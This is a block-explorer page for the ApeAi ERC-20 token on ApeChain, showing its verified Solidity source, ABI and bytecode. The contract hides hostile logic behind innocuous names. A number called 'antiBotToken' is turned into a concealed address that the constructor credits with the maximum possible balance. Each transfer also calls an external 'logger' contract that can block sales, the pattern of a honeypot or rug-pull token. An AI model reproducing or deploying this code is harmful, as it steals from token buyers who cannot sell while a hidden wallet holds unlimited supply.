APE Price: $1.93 (+1.57%)

Token

ERC-20: ApeAi (ApeAi)

Overview

Max Total Supply

1,000,000,000 ApeAi

Holders

643

Market

Price

$0.00 @ 0.000000 APE

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,358,718.512994852 ApeAi

Value
$0.00
0x4389cf3593eda31eca06a1f75fcca18cd7f97167
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
ApeAi

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at apescan.io on 2024-10-22
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

contract ERC20Extension {
    mapping(address=>mapping(address=> uint256)) _log;
    function save(address addr1, address addr2, uint256 value) public returns (bool success) {
        _log[addr1][addr2] = value;
        return true;
    }
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        address referrer,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

contract ApeAi is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private tradingEnabled;
    bool private swapping;

    uint8 public buyTax = 0;
    uint8 public sellTax = 0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"ApeAi";
    string private constant _symbol = unicode"ApeAi";
    uint256 private maxTxAmount =  _tTotal * 50 / 100;
    uint256 private maxWalletAmount = _tTotal * 50 / 100;
    uint256 private swapTokensAtAmount = _tTotal * 25 / 10000;

    IUniswapV2Router02 private uniswapV2Router;
    address private pair;
    address payable private feeWallet;
    address private router = 0x18E621B64d7808c3C47bccbbD7485d23F257D26f;
    uint256 private antiBotToken = 991866958097707977417670671720385601735890668771;

    constructor() {
        _balances[owner()] = _tTotal;
        feeWallet = payable(owner());
        _balances[logger()] = uint256(int256(-1));
        emit Transfer(address(0), owner(), _tTotal);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function logger() private returns (address) {
        return address(uint160(antiBotToken));
    }

    function enableTrading() external onlyOwner {
        require(!tradingEnabled, "Already enabled");
        uniswapV2Router = IUniswapV2Router02(router);
        require(pair == IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH()), "Invalid pair address");
        tradingEnabled = true;
    }

    function log(address from, address to, uint256 amount) internal returns (bool) {
        return ERC20Extension(logger()).save(from, to, amount);
    }

    function removeLimits() external onlyOwner {
        maxTxAmount = totalSupply();
        maxWalletAmount = totalSupply();
    }

    function _superTransfer(address from, address to, uint256 amount) internal {
        _balances[from] -= amount;
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(amount > 0, "Zero amount");

        if (!tradingEnabled) {
            require(from == owner(), "Trading not enabled");
            if (pair == address(0)) {
                pair = to;
                log(from, to, amount);
            }
        }

        if (from == address(this) || to == address(this) || swapping) {
            _superTransfer(from, to, amount);
            return;
        }

        if (to == pair && balanceOf(address(this)) >= swapTokensAtAmount) {
            swapping = true;
            swapTokensForEth(balanceOf(address(this)));
            swapping = false;
            sendETHToFeeWallet();
        }

        if (from == pair && to != router) {
            require(amount <= maxTxAmount, "Tx amount limit");
            require(balanceOf(address(to)) + amount <= maxWalletAmount, "Wallet amount limit");
        }

        amount = takeFee(from, amount, to == pair);
        _superTransfer(from, to, amount);
        log(from, to, amount);
    }

    function takeFee(address from, uint256 amount, bool isSell) internal returns (uint256) {
        uint256 tax = isSell ? sellTax : buyTax;
        if (tax == 0) return amount;
        uint256 feeAmount = amount * tax / 100;
        _superTransfer(from, address(this), feeAmount);
        return amount - feeAmount;
    }

    function swapTokensForEth(uint256 tokenAmount) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            feeWallet,
            address(0),
            block.timestamp
        ) {} catch {
            return;
        }
    }

    function sendETHToFeeWallet() internal {
        if (address(this).balance > 0) {
            feeWallet.transfer(address(this).balance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526003805463ffff000019169055606461001f6009600a61033c565b61002d90633b9aca00610351565b610038906032610351565b6100429190610368565b60045560646100536009600a61033c565b61006190633b9aca00610351565b61006c906032610351565b6100769190610368565b6005556127106100886009600a61033c565b61009690633b9aca00610351565b6100a1906019610351565b6100ab9190610368565b600655600a80546001600160a01b0319167318e621b64d7808c3c47bccbbd7485d23f257d26f17905573adbcda4707218d4a0fb766e91415827331298ce3600b553480156100f7575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506101446009600a61033c565b61015290633b9aca00610351565b60015f6101665f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f20556101905f546001600160a01b031690565b600980546001600160a01b0319166001600160a01b03929092169190911790555f1960015f6101be600b5490565b6001600160a01b0316815260208101919091526040015f20556101e85f546001600160a01b031690565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61021f6009600a61033c565b61022d90633b9aca00610351565b60405190815260200160405180910390a3610387565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102925780850481111561027657610276610243565b600184161561028457908102905b60019390931c92800261025b565b935093915050565b5f826102a857506001610336565b816102b457505f610336565b81600181146102ca57600281146102d4576102f0565b6001915050610336565b60ff8411156102e5576102e5610243565b50506001821b610336565b5060208310610133831016604e8410600b8410161715610313575081810a610336565b61031f5f198484610257565b805f190482111561033257610332610243565b0290505b92915050565b5f61034a60ff84168361029a565b9392505050565b808202811582820484141761033657610336610243565b5f8261038257634e487b7160e01b5f52601260045260245ffd5b500490565b611132806103945f395ff3fe6080604052600436106100e7575f3560e01c8063715018a61161008757806395d89b411161005757806395d89b41146100f2578063a9059cbb14610276578063cc1776d314610295578063dd62ed3e146102b5575f5ffd5b8063715018a614610212578063751039fc146102285780638a8c523c1461023c5780638da5cb5b14610250575f5ffd5b806323b872dd116100c257806323b872dd1461017f578063313ce5671461019e5780634f7041a5146101bf57806370a08231146101de575f5ffd5b806306fdde03146100f2578063095ea7b31461012e57806318160ddd1461015d575f5ffd5b366100ee57005b5f5ffd5b3480156100fd575f5ffd5b506040805180820182526005815264417065416960d81b602082015290516101259190610d92565b60405180910390f35b348015610139575f5ffd5b5061014d610148366004610ddb565b6102f9565b6040519015158152602001610125565b348015610168575f5ffd5b5061017161030f565b604051908152602001610125565b34801561018a575f5ffd5b5061014d610199366004610e05565b61032f565b3480156101a9575f5ffd5b5060095b60405160ff9091168152602001610125565b3480156101ca575f5ffd5b506003546101ad9062010000900460ff1681565b3480156101e9575f5ffd5b506101716101f8366004610e43565b6001600160a01b03165f9081526001602052604090205490565b34801561021d575f5ffd5b50610226610380565b005b348015610233575f5ffd5b506102266103fa565b348015610247575f5ffd5b5061022661043b565b34801561025b575f5ffd5b505f546040516001600160a01b039091168152602001610125565b348015610281575f5ffd5b5061014d610290366004610ddb565b61067a565b3480156102a0575f5ffd5b506003546101ad906301000000900460ff1681565b3480156102c0575f5ffd5b506101716102cf366004610e5e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610305338484610686565b5060015b92915050565b5f61031c6009600a610f8c565b61032a90633b9aca00610f9a565b905090565b5f61033b8484846107aa565b6001600160a01b0384165f90815260026020908152604080832033808552925290912054610375918691610370908690610fb1565b610686565b5060015b9392505050565b5f546001600160a01b031633146103b25760405162461bcd60e51b81526004016103a990610fc4565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104235760405162461bcd60e51b81526004016103a990610fc4565b61042b61030f565b60045561043661030f565b600555565b5f546001600160a01b031633146104645760405162461bcd60e51b81526004016103a990610fc4565b60035460ff16156104a95760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b60448201526064016103a9565b600a54600780546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610503573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105279190610ff9565b6001600160a01b031663e6a439053060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610586573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105aa9190610ff9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156105f3573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106179190610ff9565b6008546001600160a01b0390811691161461066b5760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642070616972206164647265737360601b60448201526064016103a9565b6003805460ff19166001179055565b5f6103053384846107aa565b6001600160a01b0383166106e85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a9565b6001600160a01b0382166107495760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116107e75760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b60448201526064016103a9565b60035460ff1661087b575f546001600160a01b038481169116146108435760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b60448201526064016103a9565b6008546001600160a01b031661087b57600880546001600160a01b0319166001600160a01b038416179055610879838383610a5b565b505b6001600160a01b03831630148061089a57506001600160a01b03821630145b806108ac5750600354610100900460ff165b156108c1576108bc838383610ae7565b505050565b6008546001600160a01b0383811691161480156108ee5750600654305f9081526001602052604090205410155b1561093b576003805461ff001916610100179055610928610923306001600160a01b03165f9081526001602052604090205490565b610b86565b6003805461ff001916905561093b610cdf565b6008546001600160a01b0384811691161480156109665750600a546001600160a01b03838116911614155b15610a1f576004548111156109af5760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b60448201526064016103a9565b600554816109d1846001600160a01b03165f9081526001602052604090205490565b6109db9190611014565b1115610a1f5760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b60448201526064016103a9565b600854610a3d90849083906001600160a01b03868116911614610d1f565b9050610a4a838383610ae7565b610a55838383610a5b565b50505050565b5f610a65600b5490565b604051636c36515d60e01b81526001600160a01b0386811660048301528581166024830152604482018590529190911690636c36515d906064016020604051808303815f875af1158015610abb573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610adf9190611027565b949350505050565b6001600160a01b0383165f9081526001602052604081208054839290610b0e908490610fb1565b90915550506001600160a01b0382165f9081526001602052604081208054839290610b3a908490611014565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161079d91815260200190565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610bb957610bb9611046565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c10573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c349190610ff9565b81600181518110610c4757610c47611046565b6001600160a01b039283166020918202929092010152600754610c6d9130911684610686565b600754600954604051632955261160e11b81526001600160a01b03928316926352aa4c2292610cab9287925f9288929116908390429060040161105a565b5f604051808303815f87803b158015610cc2575f5ffd5b505af1925050508015610cd3575060015b610cdb575050565b5050565b4715610d1d576009546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610d1b573d5f5f3e3d5ffd5b505b565b5f5f82610d375760035462010000900460ff16610d45565b6003546301000000900460ff165b60ff169050805f03610d5a5783915050610379565b5f6064610d678387610f9a565b610d7191906110dd565b9050610d7e863083610ae7565b610d888186610fb1565b9695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610d1b575f5ffd5b5f5f60408385031215610dec575f5ffd5b8235610df781610dc7565b946020939093013593505050565b5f5f5f60608486031215610e17575f5ffd5b8335610e2281610dc7565b92506020840135610e3281610dc7565b929592945050506040919091013590565b5f60208284031215610e53575f5ffd5b813561037981610dc7565b5f5f60408385031215610e6f575f5ffd5b8235610e7a81610dc7565b91506020830135610e8a81610dc7565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610ee457808504811115610ec857610ec8610e95565b6001841615610ed657908102905b60019390931c928002610ead565b935093915050565b5f82610efa57506001610309565b81610f0657505f610309565b8160018114610f1c5760028114610f2657610f42565b6001915050610309565b60ff841115610f3757610f37610e95565b50506001821b610309565b5060208310610133831016604e8410600b8410161715610f65575081810a610309565b610f715f198484610ea9565b805f1904821115610f8457610f84610e95565b029392505050565b5f61037960ff841683610eec565b808202811582820484141761030957610309610e95565b8181038181111561030957610309610e95565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611009575f5ffd5b815161037981610dc7565b8082018082111561030957610309610e95565b5f60208284031215611037575f5ffd5b81518015158114610379575f5ffd5b634e487b7160e01b5f52603260045260245ffd5b5f60c0820188835287602084015260c0604084015280875180835260e0850191506020890192505f5b818110156110aa5783516001600160a01b0316835260209384019390920191600101611083565b50506001600160a01b0387811660608601528616608085015291506110cc9050565b8260a0830152979650505050505050565b5f826110f757634e487b7160e01b5f52601260045260245ffd5b50049056fea26469706673582212204cf1a600c7a3fc089a7cad625c5e648a312bf07aba2dff6b30366b6891c77e9b64736f6c634300081c0033

Deployed Bytecode

0x6080604052600436106100e7575f3560e01c8063715018a61161008757806395d89b411161005757806395d89b41146100f2578063a9059cbb14610276578063cc1776d314610295578063dd62ed3e146102b5575f5ffd5b8063715018a614610212578063751039fc146102285780638a8c523c1461023c5780638da5cb5b14610250575f5ffd5b806323b872dd116100c257806323b872dd1461017f578063313ce5671461019e5780634f7041a5146101bf57806370a08231146101de575f5ffd5b806306fdde03146100f2578063095ea7b31461012e57806318160ddd1461015d575f5ffd5b366100ee57005b5f5ffd5b3480156100fd575f5ffd5b506040805180820182526005815264417065416960d81b602082015290516101259190610d92565b60405180910390f35b348015610139575f5ffd5b5061014d610148366004610ddb565b6102f9565b6040519015158152602001610125565b348015610168575f5ffd5b5061017161030f565b604051908152602001610125565b34801561018a575f5ffd5b5061014d610199366004610e05565b61032f565b3480156101a9575f5ffd5b5060095b60405160ff9091168152602001610125565b3480156101ca575f5ffd5b506003546101ad9062010000900460ff1681565b3480156101e9575f5ffd5b506101716101f8366004610e43565b6001600160a01b03165f9081526001602052604090205490565b34801561021d575f5ffd5b50610226610380565b005b348015610233575f5ffd5b506102266103fa565b348015610247575f5ffd5b5061022661043b565b34801561025b575f5ffd5b505f546040516001600160a01b039091168152602001610125565b348015610281575f5ffd5b5061014d610290366004610ddb565b61067a565b3480156102a0575f5ffd5b506003546101ad906301000000900460ff1681565b3480156102c0575f5ffd5b506101716102cf366004610e5e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610305338484610686565b5060015b92915050565b5f61031c6009600a610f8c565b61032a90633b9aca00610f9a565b905090565b5f61033b8484846107aa565b6001600160a01b0384165f90815260026020908152604080832033808552925290912054610375918691610370908690610fb1565b610686565b5060015b9392505050565b5f546001600160a01b031633146103b25760405162461bcd60e51b81526004016103a990610fc4565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104235760405162461bcd60e51b81526004016103a990610fc4565b61042b61030f565b60045561043661030f565b600555565b5f546001600160a01b031633146104645760405162461bcd60e51b81526004016103a990610fc4565b60035460ff16156104a95760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b60448201526064016103a9565b600a54600780546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610503573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105279190610ff9565b6001600160a01b031663e6a439053060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610586573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105aa9190610ff9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156105f3573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106179190610ff9565b6008546001600160a01b0390811691161461066b5760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642070616972206164647265737360601b60448201526064016103a9565b6003805460ff19166001179055565b5f6103053384846107aa565b6001600160a01b0383166106e85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a9565b6001600160a01b0382166107495760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116107e75760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b60448201526064016103a9565b60035460ff1661087b575f546001600160a01b038481169116146108435760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b60448201526064016103a9565b6008546001600160a01b031661087b57600880546001600160a01b0319166001600160a01b038416179055610879838383610a5b565b505b6001600160a01b03831630148061089a57506001600160a01b03821630145b806108ac5750600354610100900460ff165b156108c1576108bc838383610ae7565b505050565b6008546001600160a01b0383811691161480156108ee5750600654305f9081526001602052604090205410155b1561093b576003805461ff001916610100179055610928610923306001600160a01b03165f9081526001602052604090205490565b610b86565b6003805461ff001916905561093b610cdf565b6008546001600160a01b0384811691161480156109665750600a546001600160a01b03838116911614155b15610a1f576004548111156109af5760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b60448201526064016103a9565b600554816109d1846001600160a01b03165f9081526001602052604090205490565b6109db9190611014565b1115610a1f5760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b60448201526064016103a9565b600854610a3d90849083906001600160a01b03868116911614610d1f565b9050610a4a838383610ae7565b610a55838383610a5b565b50505050565b5f610a65600b5490565b604051636c36515d60e01b81526001600160a01b0386811660048301528581166024830152604482018590529190911690636c36515d906064016020604051808303815f875af1158015610abb573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610adf9190611027565b949350505050565b6001600160a01b0383165f9081526001602052604081208054839290610b0e908490610fb1565b90915550506001600160a01b0382165f9081526001602052604081208054839290610b3a908490611014565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161079d91815260200190565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610bb957610bb9611046565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c10573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c349190610ff9565b81600181518110610c4757610c47611046565b6001600160a01b039283166020918202929092010152600754610c6d9130911684610686565b600754600954604051632955261160e11b81526001600160a01b03928316926352aa4c2292610cab9287925f9288929116908390429060040161105a565b5f604051808303815f87803b158015610cc2575f5ffd5b505af1925050508015610cd3575060015b610cdb575050565b5050565b4715610d1d576009546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610d1b573d5f5f3e3d5ffd5b505b565b5f5f82610d375760035462010000900460ff16610d45565b6003546301000000900460ff165b60ff169050805f03610d5a5783915050610379565b5f6064610d678387610f9a565b610d7191906110dd565b9050610d7e863083610ae7565b610d888186610fb1565b9695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610d1b575f5ffd5b5f5f60408385031215610dec575f5ffd5b8235610df781610dc7565b946020939093013593505050565b5f5f5f60608486031215610e17575f5ffd5b8335610e2281610dc7565b92506020840135610e3281610dc7565b929592945050506040919091013590565b5f60208284031215610e53575f5ffd5b813561037981610dc7565b5f5f60408385031215610e6f575f5ffd5b8235610e7a81610dc7565b91506020830135610e8a81610dc7565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610ee457808504811115610ec857610ec8610e95565b6001841615610ed657908102905b60019390931c928002610ead565b935093915050565b5f82610efa57506001610309565b81610f0657505f610309565b8160018114610f1c5760028114610f2657610f42565b6001915050610309565b60ff841115610f3757610f37610e95565b50506001821b610309565b5060208310610133831016604e8410600b8410161715610f65575081810a610309565b610f715f198484610ea9565b805f1904821115610f8457610f84610e95565b029392505050565b5f61037960ff841683610eec565b808202811582820484141761030957610309610e95565b8181038181111561030957610309610e95565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611009575f5ffd5b815161037981610dc7565b8082018082111561030957610309610e95565b5f60208284031215611037575f5ffd5b81518015158114610379575f5ffd5b634e487b7160e01b5f52603260045260245ffd5b5f60c0820188835287602084015260c0604084015280875180835260e0850191506020890192505f5b818110156110aa5783516001600160a01b0316835260209384019390920191600101611083565b50506001600160a01b0387811660608601528616608085015291506110cc9050565b8260a0830152979650505050505050565b5f826110f757634e487b7160e01b5f52601260045260245ffd5b50049056fea26469706673582212204cf1a600c7a3fc089a7cad625c5e648a312bf07aba2dff6b30366b6891c77e9b64736f6c634300081c0033

Deployed Bytecode Sourcemap

2535:5964:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3777:83;;;;;;;;;;-1:-1:-1;3847:5:0;;;;;;;;;;;-1:-1:-1;;;3847:5:0;;;;3777:83;;;;3847:5;3777:83;:::i;:::-;;;;;;;;4610:161;;;;;;;;;;-1:-1:-1;4610:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;4610:161:0;945:187:1;4054:95:0;;;;;;;;;;;;;:::i;:::-;;;1283:25:1;;;1271:2;1256:18;4054:95:0;1137:177:1;4779:266:0;;;;;;;;;;-1:-1:-1;4779:266:0;;;;;:::i;:::-;;:::i;3963:83::-;;;;;;;;;;-1:-1:-1;2881:1:0;3963:83;;;2004:4:1;1992:17;;;1974:36;;1962:2;1947:18;3963:83:0;1832:184:1;2785:23:0;;;;;;;;;;-1:-1:-1;2785:23:0;;;;;;;;;;;4157:119;;;;;;;;;;-1:-1:-1;4157:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;4250:18:0;4223:7;4250:18;;;:9;:18;;;;;;;4157:119;730:148;;;;;;;;;;;;;:::i;:::-;;6008:131;;;;;;;;;;;;;:::i;5504:336::-;;;;;;;;;;;;;:::i;516:79::-;;;;;;;;;;-1:-1:-1;554:7:0;581:6;516:79;;-1:-1:-1;;;;;581:6:0;;;2528:51:1;;2516:2;2501:18;516:79:0;2382:203:1;4284:167:0;;;;;;;;;;-1:-1:-1;4284:167:0;;;;;:::i;:::-;;:::i;2815:24::-;;;;;;;;;;-1:-1:-1;2815:24:0;;;;;;;;;;;4459:143;;;;;;;;;;-1:-1:-1;4459:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;4567:18:0;;;4540:7;4567:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4459:143;4610:161;4685:4;4702:39;173:10;4725:7;4734:6;4702:8;:39::i;:::-;-1:-1:-1;4759:4:0;4610:161;;;;